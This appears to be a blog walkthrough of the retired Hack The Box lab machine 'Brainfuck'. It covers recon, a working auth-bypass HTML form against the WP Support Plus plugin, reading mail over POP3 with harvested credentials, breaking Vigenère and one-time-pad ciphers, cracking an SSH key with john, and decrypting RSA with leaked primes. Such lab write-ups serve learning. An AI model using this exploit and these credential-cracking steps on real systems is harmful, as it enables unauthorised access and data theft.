BrainFuck HtB WriteUp

Ashutosh Gupta
10 min readNov 5, 2020


Hello folks! I am m3tac1ph4r . So this is my first insane machine. And I solved this recently as it was retired then also I thought I should make a walkthrough.

So let’s get start!!


So let’s start recon with nmap.

nmap -sC -sV -oN nmap

Host is up (0.17s latency).
Not shown: 995 filtered ports
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
|_imap-capabilities: Pre-login IMAP4rev1 more post-login OK ENABLE listed SASL-IR capabilities ID have IDLE LITERAL+ LOGIN-REFERRALS AUTH=PLAINA0001
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • -sC: run default nmap scripts
  • -sV: detect service version

As you can see there are five ports open:

  • Port 22: running OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
  • Port 25: running Postfix smtpd
  • Port 110: running Dovecot pop3d
  • Ports 143: running Dovecot imapd
  • Ports 443: running nginx 1.10.0

As you can see in the results of nmap there are some hosts we have add in our hosts file for DNS. sup3rs3cr3t.brainfuck.htb www.brainfuck.htb brainfuck.htb

So you can add this directly by typing this command in the terminal.

sudo nano /etc/hosts

Lets open all the hosts one by one. As www.brainfuck.htb and brainfuck.htb is having same webpage.

If you open the website you will see they were working on https. So lets see the certificate in the browser.

From certificate we got the email id as orestis@brainfuck.htb

And when you will open the brainfuck.htb you will wordpress is using as CMS.

I think you are thinking the same what I am thinking….yesss wp-scan.

wpscan --url https://brainfuck.htb --enumerate u,t,cb,ap, --enumerate p  --disable-tls-checks

— enumerate u: is for usernames


[i] User(s) Identified:

[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] administrator
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

vulnerablity :

[+] wp-support-plus-responsive-ticket-system
| Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Last Updated: 2019-09-03T07:57:00.000Z
| [!] The version is out of date, the latest version is 9.1.2
| Found By: Urls In Homepage (Passive Detection)
| Version: 7.1.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt

So I got two usernames i.e admin and administrator. And we have one vulnerability i.e ticket system. Let’s exploit the vulnerability.

This is the exploit of ticket system as we have same version as exploit requires.

So I have just modify the exploit according to our use.

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">

And then I saved this file as ticket.html and started a python HTTP server i.e python -m SimpleHTTPServer 8000

And then open that file in browser using localhost:8000/ticket.html

When you click login then you will see a zero on the screen it means the exploit is working correct.

Then strip the URL to “https://brainfuck.htb/”. And you will see that you are login as admin .Yeah!! we got the foothold.

On the top tab click on Brainfuck Ltd. > Themes. Then click on Plugins > Settings on the Easy WP SMTP plugin. There, we find the SMTP configuration settings with the SMTP username and SMTP masked password.

So you can go to to inspect element and copy the password.

And we got the creds for SMTP orestis:kHGuERB29DNiNE.

So before using password just see the nmap result we have got before.

25/tcp  open  smtp     Postfix smtpd
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
|_imap-capabilities: Pre-login IMAP4rev1 more post-login OK ENABLE listed SASL-IR capabilities ID have IDLE LITERAL+ LOGIN-REFERRALS AUTH=PLAINA0001

So we have 3 port opens. Mostly these are used for mail. And smtp is use for sending mails. Using imap you can see and download the mails but you need a mail client on your pc. But pop3 you can only see the mails you cannot send and download the mails.

This is the link for finding difference between pop3 and imap.

If you google that how to use pop3 in linux then in one of the web page you will find that you can use telnet for seeing mails.

So I have bold the commands used for telnet below and rest are the result in the terminal.

telnet brainfuck.htb 110         
user orestis
pass kHGuERB29DNiNE

+OK 2 messages:
1 977
2 514

So we have 2 mails i.e 977 and 514. If you will open the link I have given for telnet before this. You will find that there is a command retr for seeing mails.I have opened second mail.

retr 2
+OK 514 octets
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

And we got creds in this mail. And it says these credentials are for secret forum i.e sup3rs3cr3t.brainfuck.htb

Then login with these creds. Then you will see three discussions. So now let’s see the ssh one this sounds cool!!


So i you notice in the ssh access part after every message orestis says “Orestis — Hacking for fun and profit” And in key part same but in encrypted form.Like this:

Orestis - Hacking for fun and profit
Pieagnm - Jkoijeg nbw zwx mle grwsnn

After doing so much google then I got that this is one time pad cipher.

But we don’t have key to decode so I found one python script to find key of one-time-pad cipher.

plaintext = "OrestisHackingforfunandprofit"
ciphertext = "PieagnmJkoijegnbwzwxmlegrwsnn"
key = ""
for i in range(len(plaintext)):
num_key = ((ord(ciphertext[i]) - ord(plaintext[i])) % 26) + 97
char_key = chr(num_key)
key = key + char_key
print key

So I got the key i.e. Key is :- brainfuckmybrainfuckmybrainfu

Let’s see how to decode this:

Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg 

As it looks something like ceasar cipher. So after searching I found tha in vigenere cipher it repeats the key until it matches the length of the plaintext. So I used this online tool for decoding vigenere cipher.

So the key for vigenere cipher is fuckmybrain.

There you go you stupid fuck, I hope you remember your key password because I dont

If you open the id_rsa file you will see that it is encryted. So there is one most common tool for decrypting id_rsa i.e ssh2john and john.

sudo ssh2john id_rsa> hash

This is used for making hash of id_rsa file.

sudo john hash --wordlist /usr/share/wordlists/rockyou.txt

Then decrypt that hash using wordlist rockyou.txt.

Password :- 3poulakia!

BOOM!! we got the password for ssh.

chmod 600 id_rsa
ssh orestis@brainfuck.htb -i id_rsa

Then grab the user.txt

Privilege Escalation:

So we have done the half part and half part is left. Lets see what files are there in orestis directory.

orestis@brainfuck:~$ ls -la
total 60
drwxr-xr-x 7 orestis orestis 4096 Apr 29 2017 .
drwxr-xr-x 3 root root 4096 Apr 13 2017 ..
-rw------- 1 root root 1 Dec 24 2017 .bash_history
-rw-r--r-- 1 orestis orestis 220 Apr 13 2017 .bash_logout
-rw-r--r-- 1 orestis orestis 3771 Apr 13 2017 .bashrc
drwx------ 2 orestis orestis 4096 Apr 29 2017 .cache
drwxr-xr-x 3 root root 4096 Apr 17 2017 .composer
-rw------- 1 orestis orestis 619 Apr 29 2017 debug.txt
-rw-rw-r-- 1 orestis orestis 580 Apr 29 2017 encrypt.sage
drwx------ 3 orestis orestis 4096 Apr 29 2017 mail
-rw------- 1 orestis orestis 329 Apr 29 2017 output.txt
-rw-r--r-- 1 orestis orestis 655 Apr 13 2017 .profile
drwx------ 8 orestis orestis 4096 Apr 29 2017 .sage
drwx------ 2 orestis orestis 4096 Apr 17 2017 .ssh
-r-------- 1 orestis orestis 33 Apr 29 2017 user.txt

Now see the content of encrypt.sage

orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')

So if you google about 1024 bits encryption you will see that RSA. And you have a little bit knowledge about RSA the above algorithm is used RSA encryption. The above code is opening the root.txt in read mode and then store it’s value in password. Then opening output.txt and debug.txt in write mode. Then encoding the password in hex and storing in m. Then storing two random prime number of large bits and storing them in p and q respectively.

Then they are implementing the RSA encryption. If you notice last three lines you will see that p,q,e are storing in debug.txt and encrypted password in output.txt.

So if you open the debug.txt the first line is p, then second is q and the last is e




And this is the cipher text.

cipher text(ct)= 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

As in the last we have p,q,e. Then I just google that how to decrypt the RSA having p,q,e. And I got this script in the link.

import math
def getModInverse(a, m):
if math.gcd(a, m) != 1:
return None
u1, u2, u3 = 1, 0, a
v1, v2, v3 = 0, 1, m
while v3 != 0:
q = u3 // v3
v1, v2, v3, u1, u2, u3 = (
u1 - q * v1), (u2 - q * v2), (u3 - q * v3), v1, v2, v3
return u1 % m
def main():
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
n = p*q
# compute n
n = p * q
# Compute phi(n)
phi = (p - 1) * (q - 1)
# Compute modular inverse of e
d = getModInverse(e, phi)
print("n: " + str(d))
# Decrypt ciphertext
pt = pow(ct, d, n)
print("pt: " + str(pt))
if __name__ == "__main__":

And after running the script I got the result.

n:  8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750

As I told earlier before RSA root.txt is hex encoded. So firstly I decode pt from deciaml to hex and then hex to ascii.

DECIMAL to HEX — — — -→
HEX to ASCII — — — — -→

After this I got the root.txt.

6efc1a5dbb890xxxxxxxxxxxxxxxxx   #redacted

So I hope you enjoyed that and learned new things. See you in the next walkthrough!

This is my linkedin profile for more updates: